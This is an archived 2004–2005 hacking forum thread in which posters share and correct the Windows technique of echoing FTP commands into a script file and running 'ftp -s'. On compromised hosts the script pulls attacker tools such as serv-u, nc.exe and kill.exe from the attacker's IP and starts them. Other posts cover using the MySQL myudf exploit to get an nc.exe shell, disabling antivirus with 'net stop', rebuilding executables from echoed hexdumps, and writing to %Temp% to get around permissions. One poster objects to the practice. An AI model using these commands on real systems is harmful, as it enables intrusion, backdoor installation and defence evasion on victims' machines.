i used to have a file with all the echo commands that u do to send tthe files from a ftp but deleted by accident echo open ip port >> file.txt is that correct echo user >> file.txt echo password >> file.txt whats the rest?
axoaxo
Mar 30 2004, 04:37 PM
so it looks like that
echo open ip port > c:\ftp.txt echo user username >> c:\ftp.txt echo pw >> c:\ftp.txt echo type binary >> c:\ftp.txt is not a must echo get file.exe >> c:\ftp.txt echo bye >> c:\ftp.txt
ThEWaTcHeR
Mar 30 2004, 04:38 PM
echo lcd folderwherethefileshouldupload>> echo get file1>> echo get file2>> echo bye>>
ThEWaTcHeR
Mar 30 2004, 04:39 PM
lol axoaco
same post-time
x1`
Mar 30 2004, 04:39 PM
yes but then i need the command to connect to the ftp something like echo ftp.txt s:C or something anyone know so it logs in to my ftp
x1`
Mar 30 2004, 04:44 PM
this is what i ment
ECHO open 12.12.12.12 >> ftp.txt open a ftp connection to your IP (replace 12.12.12.12 with your IP) ECHO username >> ftp.txt ftp username ECHO password >> ftp.txt ftp password ECHO get serv-u.exe >> ftp.txt download files..... ECHO get servudaemon.ini >> ftp.txt download files..... ECHO get nc.exe >> ftp.txt download files..... ECHO get tlist.exe >> ftp.txt download files..... ECHO get kill.exe >> ftp.txt download files..... ECHO get avk.exe >> ftp.txt download files..... ECHO bye >> ftp.txt disconnect ftp connection
ftp.exe -s:c:\ftp.txt
arn0ld
Mar 31 2004, 01:20 PM
i'm using :
echo open ip port >> *.txt echo user >> *.txt echo pass >> *.txt echo BINARY >> *.txt echo get bla.bla >> *.txt echo get bla.bla >> *.txt echo quit >> *.txt ftp.exe -s:*.txt
axoaxo
Mar 31 2004, 01:25 PM
the way of Dickybob20 is better and this way works mostly. But there are sóme mistakes. I have correct5 them.
ECHO open 12.12.12.12 port >> ftp.txt open a ftp connection to your IP (replace 12.12.12.12 with your IP) ECHO user username >> ftp.txt ftp username ECHO password >> ftp.txt ftp password ECHO get serv-u.exe >> ftp.txt download files..... ECHO get servudaemon.ini >> ftp.txt download files..... ECHO get nc.exe >> ftp.txt download files..... ECHO get tlist.exe >> ftp.txt download files..... ECHO get kill.exe >> ftp.txt download files..... ECHO get avk.exe >> ftp.txt download files..... ECHO bye >> ftp.txt disconnect ftp connection
ftp -i -n -v -s:c:\ftp.txt
[eXPhase
Mar 31 2004, 01:42 PM
I always use to start the script
ftp -i -n -v -s:file.script
arn0ld
Mar 31 2004, 01:42 PM
the way i wrote works for me in 100% cases unless ftp.exe doesn't exist (sorry for my lame eng)
NeBoKaDnEzZaR
Apr 1 2004, 09:53 AM
Thanks a lot very usefull informations.
fulsik
Oct 10 2004, 06:05 AM
here
echo open 123.123.123.123 port >k.txt echo user k>>k.txt echo k>>k.txt echo mget *.* >>k.txt echo quit>>k.txt ftp -i -n -v -s:k.txt
1st line, connects to the ip with specified port 2nd line, enters username 3rd line, enters password 4th line, mass gets every file in the dir user 'k' is sent to 5th line, obvoiusly quits 6th line, executes ftp.exe connect/read ur k.txt connect and download
it's good to make the user that ur typing to be directed to a specific dir where only ur servu files are, e.g servu.exe servudaemon.ini and it'll download then start them.
Wimpie
Dec 4 2004, 09:38 PM
QUOTE(fulsik @ Oct 10 2004, 06:05 AM)
here
echo open 123.123.123.123 port >k.txt echo user k>>k.txt echo k>>k.txt echo mget *.* >>k.txt echo quit>>k.txt ftp -i -n -v -s:k.txt
1st line, connects to the ip with specified port 2nd line, enters username 3rd line, enters password 4th line, mass gets every file in the dir user 'k' is sent to 5th line, obvoiusly quits 6th line, executes ftp.exe connect/read ur k.txt connect and download
it's good to make the user that ur typing to be directed to a specific dir where only ur servu files are, e.g servu.exe servudaemon.ini and it'll download then start them.
using & will reduce your copy paste work echo open 123.123.123.123 port >k.txt & echo user k>>k.txt & etc............. so you can put everything on 1 line
tibbar
Dec 4 2004, 11:36 PM
note that only port 21 works properly on ftp.exe
jubbly
Dec 11 2004, 12:21 AM
QUOTE(tibbar @ Dec 4 2004, 11:36 PM)
note that only port 21 works properly on ftp.exe
Thats not entirely true as I have used it many times with obscure port numbers.
Although this post is attracting lame people putting serv-u on peeps comps which I believe to be against forum rules posting about such crap.
droppunx
Dec 11 2004, 02:02 AM
QUOTE(jubbly @ Dec 11 2004, 12:21 AM)
QUOTE(tibbar @ Dec 4 2004, 11:36 PM)
note that only port 21 works properly on ftp.exe
Thats not entirely true as I have used it many times with obscure port numbers.
Although this post is attracting lame people putting serv-u on peeps comps which I believe to be against forum rules posting about such crap.
The TCP port used by the remote computer executing ftp.exe IS AND ONLY CAN BE port 21. Sure ftp.exe may be able to connect to obscure ports, which I'm assuming is what you're referring to, but the port used for that outgoing connection has to be port 21.
Also to reply to your snide comment I've used ftp.exe hundreds of times on old slow piece of shit computers running Win98 or Win95 that I don't want to bog down with GUI FTP software. ftp.exe commands are very helpful to know, not just for serv-u-installing hackers. If you're going to attack people who discuss potential methods of file uploading remotely, make sure you include all the posts on here about vbs scripts, .bat files, etc etc etc
ScuD
Feb 9 2005, 05:35 PM
all these echo commands are for ftp.exe...
do not forget there are other ways to, to transfer files through cmd.exe
rcp.exe, tftp.exea and http...
i'm using http always, it's a lot faster and always works fine, never had any probs with it
grtz
ldm
Feb 10 2005, 12:40 PM
QUOTE(ScuD @ Feb 9 2005, 12:35 PM)
i'm using http always, it's a lot faster and always works fine, never had any probs with it
grtz
can you explain how this way works ??
very thanks
ScuD
Feb 10 2005, 06:48 PM
QUOTE(ldm @ Feb 10 2005, 12:40 PM)
QUOTE(ScuD @ Feb 9 2005, 12:35 PM)
i'm using http always, it's a lot faster and always works fine, never had any probs with it
grtz
can you explain how this way works ??
very thanks
i didn't write this myself, i just googled a bit and found this .vbs script.
this should be the result, if not then echo is disabled.
grtz
tweety
Feb 14 2005, 02:01 PM
SRY DO U know what im mean with MySQL NOT MSSQL! I think echo don`t work in MYSQL ind MSSQL it does verry well:D
SO I`ve to use TFTPD fuckin MYSQL:D
ScuD
Feb 14 2005, 03:21 PM
QUOTE
SRY DO U know what im mean with MySQL NOT MSSQL! I think echo don`t work in MYSQL ind MSSQL it does verry well:D
lol yes i can read since mYsql difference from mSsql The mysql i know is with the myudf exploit... and since myudf opens up a nc.exe on port 21000 and you got to connect through telnet to it... you should be able to use echo commands...
if ftp aint working try rcp then...
grtz
edit: i'm talking bout the mysql on port 3306
if you are talking bout something else :s i can't help ya :-/
tweety
Feb 14 2005, 03:41 PM
QUOTE(ScuD @ Feb 14 2005, 04:21 PM)
QUOTE
SRY DO U know what im mean with MySQL NOT MSSQL! I think echo don`t work in MYSQL ind MSSQL it does verry well:D
lol yes i can read since mYsql difference from mSsql The mysql i know is with the myudf exploit... and since myudf opens up a nc.exe on port 21000 and you got to connect through telnet to it... you should be able to use echo commands...
if ftp aint working try rcp then...
grtz
edit: i'm talking bout the mysql on port 3306
if you are talking bout something else :s i can't help ya :-/
nice:D i mean it 2!
do you kno the tool mysqlexec? i?ve connected with tha without any other tool. Do i nedd an extra tool ore s.th. like that, to be able tu use echo commands?? grrrr it suxx lol
echo open 111.111.1.1>>c:\\ftp.txt is the command i use and it doemst work!
2nd question i have: i tried to del a file i wrote del c:\\ an the i pusht enter , grrr and the server asks me this: c:*, Are you sure (Y/N)? what ever i do the server asks me this i cann`T change directory ore something like that, whats to do here???
pls help me
ScuD
Feb 14 2005, 03:49 PM
QUOTE
nice:D i mean it 2!
do you kno the tool mysqlexec? i?ve connected with tha without any other tool. Do i nedd an extra tool ore s.th. like that, to be able tu use echo commands?? grrrr it suxx lol
echo open 111.111.1.1>>c:\\ftp.txt is the command i use and it doemst work!
yeah that mysqlexec is that GUI tool, pretty stupid if you ask me never use it only cmd prompt... try the cmd prompt instead of that GUI and tell me if you still got a problem
grtz
IcedOut3E
Feb 14 2005, 09:16 PM
QUOTE(ScuD @ Feb 11 2005, 02:13 PM)
QUOTE(nick0 @ Feb 11 2005, 05:58 AM)
iv tried .vbs scripts b4... they get detected by AV's... useless.
lol that's bullsh*t...
always works over here... with or without AV...
i think the only AV that could give some trouble is F-secure...
grtz
Detected by VirusScan Enterprise 7.1.0 used by my school. And McAfee Sucks...so if that tells you anything, its probably going to get detected by most any AV unless you do something otherwise.
ScuD
Feb 14 2005, 09:54 PM
still i didn't had a single problem with it...
an AV never removed this script when i used it...
Trackmaster
Feb 17 2005, 08:04 PM
if the vbs script is detected by av - so what, just disable the av using net stop.
blumaster
Feb 18 2005, 05:00 PM
This is my method if use ftp pub:
echo user user >file.txt echo get file.exe >>file.txt echo quit >>file.txt
with this i can write a ftp.exe with echo i would like to know, if is possible write other toolst hrough echo like , nc.exe, *.exe ...
Just make a hexdump to echo it
LittleHacker
Mar 15 2005, 11:28 AM
I'm wonder why all of you used "> File.Ext" Or "> C:\File.Ext". You may have no rights to write there !
Try This one : "Echo Command > %Temp%\File.ext"
You have allways rights to write in %Temp% Folder
NightY
Mar 24 2005, 07:08 PM
Well just one questsion when I use rpc to upload files to the mysql server i have to use the normal comand or? So rcp -b IP.user:file.exe file.exe and not anything in the gui like c:\\rcp -b IP.user:file.exe file.exe ????
FuzZyBeeR
Mar 24 2005, 09:15 PM
QUOTE(arn0ld @ Mar 31 2004, 01:42 PM)
the way i wrote works for me in 100% cases unless ftp.exe doesn't exist (sorry for my lame eng)
THere's a thread in this forum where the complete ftp.exe is echo'ed, so you can create your own ftp.exe by echo'in all the lines to your box .. dunno the threadnumber atm, but you can try the search
Kyoshichou
Mar 31 2005, 02:29 PM
my type is:
echo open ip port>>ftp.txt echo user name>>ftp.txt echo password>>ftp.txt echo get filename.exe>>ftp.txt echo bye>>ftp.txt
ftp -i -n -v -s:ftp.txt
if you do that like this it will work
Jackson
Jun 28 2005, 09:52 PM
I have one ask use I also the echo method also without problems functioned however I wanted gladly to know like I by echo method my programs thereby start and by echo automatic my batches file delete where my data in it to stand
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.